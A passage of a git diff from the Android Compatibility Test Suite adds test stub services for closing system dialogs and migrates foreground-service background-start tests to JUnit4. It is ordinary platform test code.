+    public static Future<AppAccessibilityService> getConnected() {
+        return sServiceFuture;
+    }
+
+    private WindowManager mWindowManager;
+    private View mView;
+
+    /**
+     * This doesn't need to be volatile because of the inner sync barriers of sServiceFuture. It's
+     * set before sServiceFuture.obtrudeValue() and read after sServiceFuture.get().
+     */
+    private ConditionVariable mWindowAdded;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mWindowManager = getSystemService(WindowManager.class);
+    }
+
+    /** Always call after {@link #getConnected()}}. */
+    public boolean waitWindowAdded(long timeoutMs) {
+        return mWindowAdded.block(timeoutMs);
+    }
+
+    @Override
+    public void onAccessibilityEvent(AccessibilityEvent event) {}
+
+    @Override
+    public void onInterrupt() {}
+
+    @Override
+    protected void onServiceConnected() {
+        mWindowAdded = new ConditionVariable();
+        sServiceFuture.obtrudeValue(this);
+        mView = new CustomView(this);
+        mView.setBackgroundColor(BACKGROUND_COLOR);
+        LayoutParams params =
+                new LayoutParams(
+                        200,
+                        200,
+                        LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
+                        LayoutParams.FLAG_NOT_TOUCH_MODAL,
+                        PixelFormat.TRANSLUCENT);
+        mWindowManager.addView(mView, params);
+    }
+
+    @Override
+    public void onDestroy() {
+        sServiceFuture = new CompletableFuture<>();
+        if (mView != null) {
+            mWindowManager.removeViewImmediate(mView);
+        }
+    }
+
+    private class CustomView extends View {
+        CustomView(Context context) {
+            super(context);
+        }
+        @Override
+        protected void onDraw(Canvas canvas) {
+            super.onDraw(canvas);
+            mWindowAdded.open();
+        }
+    }
+}
+
diff --git a/tests/app/shared/src/android/app/stubs/shared/CloseSystemDialogsTestService.java b/tests/app/shared/src/android/app/stubs/shared/CloseSystemDialogsTestService.java
new file mode 100644
index 0000000..9689f7c
--- /dev/null
+++ b/tests/app/shared/src/android/app/stubs/shared/CloseSystemDialogsTestService.java
@@ -0,0 +1,144 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs.shared;
+
+import static android.app.PendingIntent.FLAG_IMMUTABLE;
+
+import static java.util.concurrent.TimeUnit.MILLISECONDS;
+
+import android.app.IActivityManager;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.app.Service;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.IBinder;
+import android.os.ParcelableException;
+import android.os.RemoteException;
+import android.os.ResultReceiver;
+import android.os.ServiceManager;
+import android.view.IWindowManager;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+
+/**
+ * This is a bound service used in conjunction with CloseSystemDialogsTest.
+ */
+public class CloseSystemDialogsTestService extends Service {
+    private static final String TAG = "CloseSystemDialogsTestService";
+    private static final String NOTIFICATION_ACTION = TAG;
+    private static final String NOTIFICATION_CHANNEL_ID = "cts/" + TAG;
+
+    private final ICloseSystemDialogsTestsService mBinder = new Binder();
+    private NotificationManager mNotificationManager;
+    private IWindowManager mWindowManager;
+    private IActivityManager mActivityManager;
+    private BroadcastReceiver mNotificationReceiver;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mNotificationManager = getSystemService(NotificationManager.class);
+        mWindowManager = IWindowManager.Stub.asInterface(
+                ServiceManager.getService(Context.WINDOW_SERVICE));
+        mActivityManager = IActivityManager.Stub.asInterface(
+                ServiceManager.getService(Context.ACTIVITY_SERVICE));
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mBinder.asBinder();
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        if (mNotificationReceiver != null) {
+            unregisterReceiver(mNotificationReceiver);
+        }
+    }
+
+    private class Binder extends ICloseSystemDialogsTestsService.Stub {
+        private final Context mContext = CloseSystemDialogsTestService.this;
+
+        @Override
+        public void sendCloseSystemDialogsBroadcast() {
+            mContext.sendBroadcast(new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS));
+        }
+
+        @Override
+        public void postNotification(int notificationId, ResultReceiver receiver) {
+            mNotificationReceiver = new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    try {
+                        mContext.sendBroadcast(new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS));
+                        receiver.send(RESULT_OK, null);
+                    } catch (SecurityException e) {
+                        receiver.send(RESULT_SECURITY_EXCEPTION, null);
+                    }
+                }
+            };
+            mContext.registerReceiver(mNotificationReceiver, new IntentFilter(NOTIFICATION_ACTION));
+            Intent intent = new Intent(NOTIFICATION_ACTION);
+            intent.setPackage(mContext.getPackageName());
+            CloseSystemDialogsTestService.this.notify(
+                    notificationId,
+                    PendingIntent.getBroadcast(mContext, 0, intent, FLAG_IMMUTABLE));
+        }
+
+        @Override
+        public void closeSystemDialogsViaWindowManager(String reason) throws RemoteException {
+            mWindowManager.closeSystemDialogs(reason);
+        }
+
+        @Override
+        public void closeSystemDialogsViaActivityManager(String reason) throws RemoteException {
+            mActivityManager.closeSystemDialogs(reason);
+        }
+
+        @Override
+        public boolean waitForAccessibilityServiceWindow(long timeoutMs) throws RemoteException {
+            final AppAccessibilityService service;
+            try {
+                service = AppAccessibilityService.getConnected().get(timeoutMs, MILLISECONDS);
+            } catch (TimeoutException e) {
+                return false;
+            } catch (ExecutionException | InterruptedException e) {
+                throw new ParcelableException(e);
+            }
+            return service.waitWindowAdded(timeoutMs);
+        }
+    }
+
+    private void notify(int notificationId, PendingIntent intent) {
+        Notification notification =
+                new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+                        .setSmallIcon(android.R.drawable.ic_info)
+                        .setContentIntent(intent)
+                        .build();
+        NotificationChannel notificationChannel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+                NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_DEFAULT);
+        mNotificationManager.createNotificationChannel(notificationChannel);
+        mNotificationManager.notify(notificationId, notification);
+    }
+}
diff --git a/tests/app/shared/src/android/app/stubs/shared/FakeView.java b/tests/app/shared/src/android/app/stubs/shared/FakeView.java
new file mode 100644
index 0000000..6843d6a
--- /dev/null
+++ b/tests/app/shared/src/android/app/stubs/shared/FakeView.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs.shared;
+
+import android.content.Context;
+import android.view.View;
+
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class FakeView extends View {
+    private static final int BACKGROUND_COLOR = 0xFFFFFF00;
+    private final BlockingQueue<String> mCalls = new ArrayBlockingQueue<>(3);
+
+    public FakeView(Context context) {
+        super(context);
+        setBackgroundColor(BACKGROUND_COLOR);
+    }
+
+    @Override
+    public void onCloseSystemDialogs(String reason) {
+        mCalls.add(reason);
+    }
+
+    public String getNextCloseSystemDialogsCallReason(long timeoutMs) throws InterruptedException {
+        return mCalls.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+}
diff --git a/tests/app/shared/src/android/app/stubs/shared/ICloseSystemDialogsTestsService.aidl b/tests/app/shared/src/android/app/stubs/shared/ICloseSystemDialogsTestsService.aidl
new file mode 100644
index 0000000..7270fb1
--- /dev/null
+++ b/tests/app/shared/src/android/app/stubs/shared/ICloseSystemDialogsTestsService.aidl
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs.shared;
+
+import android.os.ResultReceiver;
+
+interface ICloseSystemDialogsTestsService {
+    void sendCloseSystemDialogsBroadcast();
+    void closeSystemDialogsViaWindowManager(String reason);
+    void closeSystemDialogsViaActivityManager(String reason);
+    boolean waitForAccessibilityServiceWindow(long timeoutMs);
+
+    const int RESULT_OK = 0;
+    const int RESULT_SECURITY_EXCEPTION = 1;
+
+    /**
+     * Posts a notification with id {@code notificationId} with a broadcast pending intent, then in
+     * that pending intent sends {@link android.content.Intent#ACTION_CLOSE_SYSTEM_DIALOGS}.
+     *
+     * The caller is responsible for trigerring the notification. The passed in {@code receiver}
+     * will be called once the intent has been sent.
+     */
+    void postNotification(int notificationId, in ResultReceiver receiver);
+}
diff --git a/tests/app/shared/src/android/app/stubs/shared/NotificationHostActivity.kt b/tests/app/shared/src/android/app/stubs/shared/NotificationHostActivity.kt
new file mode 100644
index 0000000..d84758f
--- /dev/null
+++ b/tests/app/shared/src/android/app/stubs/shared/NotificationHostActivity.kt
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.stubs.shared
+
+import android.R
+import android.app.Activity
+import android.os.Bundle
+import android.view.View
+import android.widget.FrameLayout
+import android.widget.FrameLayout.LayoutParams
+import android.widget.RemoteViews
+
+class NotificationHostActivity : Activity() {
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+        val views = (intent.getParcelableExtra(EXTRA_REMOTE_VIEWS) as RemoteViews?)!!
+        val height = intent.getIntExtra(EXTRA_HEIGHT, LayoutParams.WRAP_CONTENT)
+        setContentView(FrameLayout(this).also {
+            val child = views.apply(this, it)
+            it.id = R.id.content
+            it.addView(child, LayoutParams(LayoutParams.MATCH_PARENT, height))
+        })
+    }
+
+    val notificationRoot: View
+        get() = requireViewById<FrameLayout>(R.id.content).getChildAt(0)
+
+    companion object {
+        const val EXTRA_REMOTE_VIEWS = "remote_views"
+        const val EXTRA_HEIGHT = "height"
+    }
+}
\ No newline at end of file
diff --git a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
index 489ea95..0cbe497 100644
--- a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
+++ b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
@@ -44,7 +44,6 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager.NameNotFoundException;
-import android.os.SystemClock;
 import android.permission.cts.PermissionUtils;
 import android.provider.DeviceConfig;
 import android.provider.Settings;
@@ -54,6 +53,7 @@
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -71,7 +71,6 @@
  * when the process is in background state.
  */
 @RunWith(AndroidJUnit4.class)
-//@Suppress
 public class ActivityManagerApi29Test {
     private static final String PACKAGE_NAME = "android.app.cts.activitymanager.api29";
     private static final String SIMPLE_ACTIVITY = ".SimpleActivity";
@@ -175,6 +174,8 @@
      * @throws Exception
      */
     @Test
+    @Ignore("because ag/13230961, FGS started in instrumentation are not subject to while-in-use "
+            + "restriction")
     public void testTopActivityWithAppOps() throws Exception {
         startSimpleActivity();
         mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP,
@@ -201,9 +202,9 @@
      * @throws Exception
      */
     @Test
+    @Ignore("because ag/13230961, FGS started in instrumentation are not subject to while-in-use "
+            + "restriction")
     public void testFgsLocationWithAppOps() throws Exception {
-        // Sleep 12 seconds to let BAL grace period expire.
-        SystemClock.sleep(12000);
         // Start a foreground service with location
         startSimpleService();
         // Wait for state and capability change.
@@ -241,6 +242,8 @@
      * @throws Exception
      */
     @Test
+    @Ignore("because ag/13230961, FGS started in instrumentation are not subject to while-in-use "
+            + "restriction")
     public void testAppOpsHistoricalOps() throws Exception {
         runWithShellPermissionIdentity(
                 () ->  sAppOps.setHistoryParameters(AppOpsManager.HISTORICAL_MODE_ENABLED_ACTIVE,
@@ -305,6 +308,8 @@
      * @throws Exception
      */
     @Test
+    @Ignore("because ag/13230961, FGS started in instrumentation are not subject to while-in-use "
+            + "restriction")
     public void testCameraWithAppOps() throws Exception {
         startSimpleService();
         // Wait for state and capability change.
diff --git a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
index 09166c3..9e7ed3c 100644
--- a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
@@ -17,59 +17,141 @@
 package android.app.cts;
 
 import static android.app.ActivityManager.PROCESS_CAPABILITY_ALL;
+import static android.app.ActivityManager.PROCESS_CAPABILITY_FOREGROUND_CAMERA;
+import static android.app.ActivityManager.PROCESS_CAPABILITY_FOREGROUND_MICROPHONE;
+import static android.app.ActivityManager.PROCESS_CAPABILITY_NETWORK;
 import static android.app.ActivityManager.PROCESS_CAPABILITY_NONE;
+import static android.app.stubs.LocalForegroundService.ACTION_START_FGS_RESULT;
+import static android.app.stubs.LocalForegroundServiceLocation.ACTION_START_FGSL_RESULT;
+import static android.os.PowerWhitelistManager.REASON_UNKNOWN;
+import static android.os.PowerWhitelistManager.TEMPORARY_ALLOWLIST_TYPE_FOREGROUND_SERVICE_ALLOWED;
+import static android.os.PowerWhitelistManager.TEMPORARY_ALLOWLIST_TYPE_FOREGROUND_SERVICE_NOT_ALLOWED;
 
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import android.accessibilityservice.AccessibilityService;
+import android.app.ActivityManager;
+import android.app.BroadcastOptions;
+import android.app.ForegroundServiceStartNotAllowedException;
 import android.app.Instrumentation;
 import android.app.cts.android.app.cts.tools.WaitForBroadcast;
 import android.app.cts.android.app.cts.tools.WatchUidRunner;
 import android.app.stubs.CommandReceiver;
+import android.app.stubs.LocalForegroundService;
 import android.app.stubs.LocalForegroundServiceLocation;
+import android.content.ComponentName;
 import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.ServiceInfo;
 import android.os.Bundle;
+import android.os.IBinder;
 import android.os.SystemClock;
-import android.test.InstrumentationTestCase;
+import android.permission.cts.PermissionUtils;
+import android.provider.DeviceConfig;
+import android.provider.Settings;
 
-public class ActivityManagerFgsBgStartTest extends InstrumentationTestCase {
+import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.LargeTest;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class ActivityManagerFgsBgStartTest {
     private static final String TAG = ActivityManagerFgsBgStartTest.class.getName();
 
     private static final String STUB_PACKAGE_NAME = "android.app.stubs";
     private static final String PACKAGE_NAME_APP1 = "com.android.app1";
     private static final String PACKAGE_NAME_APP2 = "com.android.app2";
     private static final String PACKAGE_NAME_APP3 = "com.android.app3";
-    private static final String ACTION_START_FGS_RESULT =
-            "android.app.stubs.LocalForegroundService.RESULT";
-    private static final String ACTION_START_FGSL_RESULT =
-            "android.app.stubs.LocalForegroundServiceLocation.RESULT";
+
+    private static final String KEY_DEFAULT_FGS_STARTS_RESTRICTION_ENABLED =
+            "default_fgs_starts_restriction_enabled";
+
+    private static final String KEY_FGS_START_FOREGROUND_TIMEOUT =
+            "fgs_start_foreground_timeout";
+
+    private static final int DEFAULT_FGS_START_FOREGROUND_TIMEOUT_MS = 10 * 1000;
+
+    public static final Integer LOCAL_SERVICE_PROCESS_CAPABILITY = new Integer(
+            PROCESS_CAPABILITY_FOREGROUND_CAMERA
+            | PROCESS_CAPABILITY_FOREGROUND_MICROPHONE
+            | PROCESS_CAPABILITY_NETWORK);
 
     private static final int WAITFOR_MSEC = 10000;
 
+    private static final String[] PACKAGE_NAMES = {
+            PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, PACKAGE_NAME_APP3
+    };
+
     private Context mContext;
     private Instrumentation mInstrumentation;
+    private Context mTargetContext;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mInstrumentation = getInstrumentation();
+    private int mOrigDeviceDemoMode = 0;
+
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mContext = mInstrumentation.getContext();
-        CtsAppTestUtils.makeUidIdle(mInstrumentation, PACKAGE_NAME_APP1);
-        CtsAppTestUtils.makeUidIdle(mInstrumentation, PACKAGE_NAME_APP2);
+        mTargetContext = mInstrumentation.getTargetContext();
+        for (int i = 0; i < PACKAGE_NAMES.length; ++i) {
+            CtsAppTestUtils.makeUidIdle(mInstrumentation, PACKAGE_NAMES[i]);
+            // The manifest file gives test app SYSTEM_ALERT_WINDOW permissions, which also exempt
+            // the app from BG-FGS-launch restriction. Remove SYSTEM_ALERT_WINDOW permission to test
+            // other BG-FGS-launch exemptions.
+            allowBgActivityStart(PACKAGE_NAMES[i], false);
+        }
         CtsAppTestUtils.turnScreenOn(mInstrumentation, mContext);
+        cleanupResiduals();
+        enableFgsRestriction(true, true, null);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        CtsAppTestUtils.makeUidIdle(mInstrumentation, PACKAGE_NAME_APP1);
-        CtsAppTestUtils.makeUidIdle(mInstrumentation, PACKAGE_NAME_APP2);
+    @After
+    public void tearDown() throws Exception {
+        for (int i = 0; i < PACKAGE_NAMES.length; ++i) {
+            CtsAppTestUtils.makeUidIdle(mInstrumentation, PACKAGE_NAMES[i]);
+            allowBgActivityStart(PACKAGE_NAMES[i], true);
+        }
+        cleanupResiduals();
+        enableFgsRestriction(true, true, null);
+        for (String packageName: PACKAGE_NAMES) {
+            resetFgsRestriction(packageName);
+        }
+    }
+
+    private void cleanupResiduals() {
+        // Stop all the packages to avoid residual impact
+        final ActivityManager am = mContext.getSystemService(ActivityManager.class);
+        for (int i = 0; i < PACKAGE_NAMES.length; i++) {
+            final String pkgName = PACKAGE_NAMES[i];
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                am.forceStopPackage(pkgName);
+            });
+        }
+        // Make sure we are in Home screen
+        mInstrumentation.getUiAutomation().performGlobalAction(
+                AccessibilityService.GLOBAL_ACTION_HOME);
     }
 
     /**
-     * Package1 is in BG state, it can start FGSL, but it won't get location capability.
-     * Package1 is in TOP state, it gets location capability.
+     * APP1 is in BG state, it can start FGSL, but it won't get location capability.
+     * APP1 is in TOP state, it gets location capability.
      * @throws Exception
      */
+    @Test
     public void testFgsLocationStartFromBG() throws Exception {
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
                 PACKAGE_NAME_APP1, 0);
@@ -77,18 +159,22 @@
                 WAITFOR_MSEC);
 
         try {
-            // Package1 is in BG state, Start FGSL in package1, it won't get location capability.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGSL_RESULT);
+            // APP1 is in BG state, Start FGSL in APP1, it won't get location capability.
             Bundle bundle = new Bundle();
             bundle.putInt(LocalForegroundServiceLocation.EXTRA_FOREGROUND_SERVICE_TYPE,
                     ServiceInfo.FOREGROUND_SERVICE_TYPE_LOCATION);
             // start FGSL.
+            enableFgsRestriction(false, true, null);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, bundle);
-            // Package1 is in FGS state, but won't get location capability.
+            // APP1 is in FGS state, but won't get location capability.
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(PROCESS_CAPABILITY_NONE));
+                    new Integer(PROCESS_CAPABILITY_NETWORK));
+            waiter.doWait(WAITFOR_MSEC);
             // stop FGSL
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
@@ -97,7 +183,9 @@
                     WatchUidRunner.STATE_CACHED_EMPTY,
                     new Integer(PROCESS_CAPABILITY_NONE));
 
-            // package1 is in FGS state, start FGSL in pakcage1, it won't get location capability.
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // APP1 is in FGS state, start FGSL in APP1, it won't get location capability.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, bundle);
@@ -105,17 +193,19 @@
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, bundle);
-            // Package1 is in STATE_FG_SERVICE, but won't get location capability.
+            // APP1 is in STATE_FG_SERVICE, but won't get location capability.
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(PROCESS_CAPABILITY_NONE));
+                    new Integer(PROCESS_CAPABILITY_NETWORK));
+            waiter.doWait(WAITFOR_MSEC);
             // stop FGSL.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
 
-            // Put Package1 in TOP state, now it gets location capability (because the TOP process
+            // Put APP1 in TOP state, now it gets location capability (because the TOP process
             // gets all while-in-use permission (not from FGSL).
+            allowBgActivityStart(PACKAGE_NAME_APP1, true);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_ACTIVITY,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
@@ -129,8 +219,7 @@
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_ACTIVITY,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
-            // Sleep 12 second to let BAL grace period expire.
-            SystemClock.sleep(12000);
+
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_CACHED_EMPTY,
                     new Integer(PROCESS_CAPABILITY_NONE));
@@ -140,11 +229,12 @@
     }
 
     /**
-     * Package1 is in BG state, it can start FGSL in package2, but the FGS won't get location
+     * APP1 is in BG state, it can start FGSL in APP2, but the FGS won't get location
      * capability.
-     * Package1 is in TOP state, it can start FGSL in package2, FGSL gets location capability.
+     * APP1 is in TOP state, it can start FGSL in APP2, FGSL gets location capability.
      * @throws Exception
      */
+    @Test
     public void testFgsLocationStartFromBGTwoProcesses() throws Exception {
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
                 PACKAGE_NAME_APP1, 0);
@@ -156,19 +246,20 @@
                 WAITFOR_MSEC);
 
         try {
-            // Package1 is in BG state, start FGSL in package2.
+            // APP1 is in BG state, start FGSL in APP2.
             Bundle bundle = new Bundle();
             bundle.putInt(LocalForegroundServiceLocation.EXTRA_FOREGROUND_SERVICE_TYPE,
                     ServiceInfo.FOREGROUND_SERVICE_TYPE_LOCATION);
             WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
             waiter.prepare(ACTION_START_FGSL_RESULT);
+            enableFgsRestriction(false, true, null);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, bundle);
-            // Package2 won't have location capability because package1 is not in TOP state.
+            // APP2 won't have location capability because APP1 is not in TOP state.
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(PROCESS_CAPABILITY_NONE));
+                    new Integer(PROCESS_CAPABILITY_NETWORK));
             waiter.doWait(WAITFOR_MSEC);
 
             CommandReceiver.sendCommand(mContext,
@@ -178,23 +269,26 @@
                     WatchUidRunner.STATE_CACHED_EMPTY,
                     new Integer(PROCESS_CAPABILITY_NONE));
 
-            // Put Package1 in TOP state
+            // Put APP1 in TOP state
+            allowBgActivityStart(PACKAGE_NAME_APP1, true);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_ACTIVITY,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_TOP,
                     new Integer(PROCESS_CAPABILITY_ALL));
-            // Sleep 12 second to let BAL grace period expire.
-            SystemClock.sleep(12000);
-            // From package1, start FGSL in package2.
+
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGSL_RESULT);
+            // From APP1, start FGSL in APP2.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, bundle);
-            // Now package2 gets location capability.
+            // Now APP2 gets location capability.
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
                     new Integer(PROCESS_CAPABILITY_ALL));
+            waiter.doWait(WAITFOR_MSEC);
 
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
@@ -207,8 +301,7 @@
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_ACTIVITY,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
-            // Sleep 12 second to let BAL grace period expire.
-            SystemClock.sleep(12000);
+
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_CACHED_EMPTY,
                     new Integer(PROCESS_CAPABILITY_NONE));
@@ -219,12 +312,13 @@
     }
 
     /**
-     * Package1 is in BG state, by a PendingIntent, it can start FGSL in package2,
+     * APP1 is in BG state, by a PendingIntent, it can start FGSL in APP2,
      * but the FGS won't get location capability.
-     * Package1 is in TOP state, by a PendingIntent, it can start FGSL in package2,
+     * APP1 is in TOP state, by a PendingIntent, it can start FGSL in APP2,
      * FGSL gets location capability.
      * @throws Exception
      */
+    @Test
     public void testFgsLocationPendingIntent() throws Exception {
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
                 PACKAGE_NAME_APP1, 0);
@@ -236,18 +330,22 @@
                 WAITFOR_MSEC);
 
         try {
-            // Package1 is in BG state, start FGSL in package2.
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGSL_RESULT);
+            // APP1 is in BG state, start FGSL in APP2.
+            enableFgsRestriction(false, true, null);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_CREATE_FGSL_PENDING_INTENT,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_SEND_FGSL_PENDING_INTENT,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
-            // Package2 won't have location capability.
+            // APP2 won't have location capability.
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(PROCESS_CAPABILITY_NONE));
-            // Stop FGSL in package2.
+                    new Integer(PROCESS_CAPABILITY_NETWORK));
+            waiter.doWait(WAITFOR_MSEC);
+            // Stop FGSL in APP2.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
@@ -255,44 +353,16 @@
                     WatchUidRunner.STATE_CACHED_EMPTY,
                     new Integer(PROCESS_CAPABILITY_NONE));
 
-            // Put Package1 in FGS state, start FGSL in package2.
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            // Put APP1 in FGS state, start FGSL in APP2.
             CommandReceiver.sendCommand(mContext,
